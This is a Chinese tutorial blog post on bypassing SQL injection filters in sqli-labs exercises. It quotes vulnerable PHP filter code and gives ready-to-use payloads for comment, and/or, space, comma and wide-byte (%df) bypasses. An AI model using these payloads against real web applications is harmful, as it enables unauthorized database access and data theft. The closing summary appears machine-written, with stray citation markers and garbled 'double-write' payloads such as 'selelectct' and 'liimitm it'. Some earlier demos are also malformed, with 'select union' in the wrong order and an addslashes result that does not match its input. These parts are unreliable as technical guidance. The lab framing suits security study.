SQL注入---字符绕过

文章目录


一.注释符绕过

当网页源代码中出现如下代码后,常见的注释符号将无效,因此需要通过特殊手段进行绕过

$reg = "/#/";
$reg1 = "/--/";
$replace = "";
#若id中提取出的字符中包含reg(#)类型的特殊符号将会被replace类型的符号(空)替换
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

上述代码中无法使用符号(#)或(--+)将后面的sql语句注释,因此需要通过特殊手段将后面多出的单引号闭合

演示案例:

单引号闭合:?id=1' and 1=1 '  括号单引号:?id=1') and 1=1( '

双引号闭合:?id=1'' and 1=1'' 

$sql="SELECT * FROM users WHERE id='id=1' and 1=1 '' LIMIT 0,1";

 二.and 和 or 过滤绕过

过滤源代码

function blacklist($id)
{
#若提取的id中包含or字符,将or替换为空
	$id= preg_replace('/or/i',"", $id);			
	$id= preg_replace('/AND/i',"", $id);		
	
	return $id;
}

注:i:代表无论or/and 是大写还是小写统一转译为小写

 绕过手法

复写过滤字符
?id=1' anandd 1=1--+

三.空格过滤绕过

 过滤代码:

$id= blacklist($id);
$hint=$id;

function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			
	$id= preg_replace('/and/i',"", $id);		
	$id= preg_replace('/[\/\*]/',"", $id);		
	$id= preg_replace('/[--]/',"", $id);		
	$id= preg_replace('/[#]/',"", $id);			
	$id= preg_replace('/[\s]/',"", $id);		
	$id= preg_replace('/[\/\\\\]/',"", $id);		
	return $id;
}

绕过手法:

 在不同的环境中能够绕过的URL编码有所不同,因此需要多次尝试。

演示案例:

未使用URL编码注入前:符号被过滤

http://192.168.100.10/sql/Less-26/index.php?id=1' union select 1,2,3--+;

 使用URL注入编码后

http://192.168.100.10/sql/Less-26/index.php?id=1%A0union%A0select 1,2,3--+;

报错注入:

 

 四.逗号过滤绕过

id=1' union select 1,2,3--+

id=1' union select * from (select 1)a join (select 2)b join (select 3)c--+

 五.宽字节绕过

宽字节注入原理

宽字节注入前提:数据库使用GBKB编码

PHP中的转译函数:addslashes(); --使特殊符号的作用失效

源代码:

function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash
      
    
    return $string;
}

这个函数是用来处理字符串中的特殊字符,将其进行转义处理。

  1. 第一行代码使用正则表达式替换函数preg_replace将字符串中的反斜杠(\)替换为三个反斜杠(\\),这是为了将反斜杠进行转义。
  2. 第二行代码使用正则表达式替换函数preg_replace将字符串中的单引号(')替换为反斜杠和单引号('),这是为了将单引号进行转义。
  3. 第三行代码使用正则表达式替换函数preg_replace将字符串中的双引号(")替换为反斜杠和双引号("),这是为了将双引号进行转义。

最后,将处理后的字符串返回。这个函数通常用于防止在数据库操作中出现语法错误,例如在插入数据时,如果字符串中包含了单引号或双引号,可能会导致SQL语句出错。通过使用这个函数,可以将特殊字符进行转义,确保数据的安全性和完整性。

<?php
$a="benben is a \"good\" boy";
$b=addslashes($a);
echo $b
>

执行结果:benben is a \'good\' boy!

宽字节注入演示案例:

/index.php?id=-1' select union 1,2,3--+

报错结果分析:-1\' select union 1,2,3--  
            addslashes()函数将特殊符号'转译为无特殊作用的符号' 导致无法起到闭合的作用

 宽字节绕过

id=-1%df‘ union select 1,2,3--+

注:使用%df使转译函数失效


 总结

### 双写技术绕过SQL注入防护机制 在某些情况下,开发者可能会使用正则表达式或其他过滤方法来防止常见的SQL注入关键字被利用。然而,攻击者可以通过一些技巧绕过这些防御措施。其中一种常见的方式就是所谓的 **双写技术**。 #### 正则表达式的漏洞分析 当开发人员使用正则表达式匹配特定的关键字时,如果未充分考虑变体形式,则可能导致安全策略失效。例如,在PHP环境中使用的 `preg_match` 函数可能无法识别经过变形处理后的关键词[^1]: ```php if (!preg_match('/(and|or|union|where)/i', $input)) { // 输入被认为安全并执行查询 } ``` 上述代码片段仅检测到标准的 SQL 关键词列表 (`AND`, `OR`, `UNION`, 和 `WHERE`) 的单次出现情况。但是,它并未考虑到重复书写的情况,比如将 `ununionion` 替代为实际运行中的 `union`。 #### 绕过的具体实现方式 为了演示这种技术的实际应用效果,可以观察下面的例子: 原始尝试失败: ```sql Filtered injection: 1 || (select user from users where user_id = 1) = 'admin' ``` 而采用双写技术之后成功绕过了简单的字符串匹配逻辑: ```sql Bypassed injection: 1 || (selelectct user frfromom users liimitm it 1) = 'admin' ``` 这里通过故意拼接两个相同的字符序列(如 `selelectct` 对应于正常的 `select`),使得原本会被拦截下来的恶意输入得以顺利传递给数据库引擎解析执行。 值得注意的是,这种方法的有效性取决于目标系统的具体实现细节以及所部署的安全控制措施强度。对于更复杂的场景或者现代框架自带ORM层保护的情况下,单纯依赖此类手法往往难以奏效[^2]。 另外需要注意的是,尽管本例讨论了如何规避基本层面的静态模式验证过程,但在真实世界里实施任何非法访问行为均属违法行为,请严格遵守法律法规及道德准则! --- ### 实际案例说明 假设存在这样一个登录页面接口 `/login.php?id=USER_ID&password=PASSWORD_HASH` ,其内部采用了如下简单校验手段: ```php $id = $_GET['id']; $password_hash = hash('sha256', $_GET['password']); $query = "SELECT * FROM users WHERE id='$id' AND password_hash='$password_hash'"; $result = mysqli_query($conn, $query); ... ``` 此时如果我们直接提交包含敏感操作符的数据包将会触发报警甚至阻断连接请求;但如果巧妙运用双重编码思路构造payload的话就有可能突破防线完成测试目的——当然这仅仅适用于教学研究环境之下哦! ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

北 染 星 辰

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值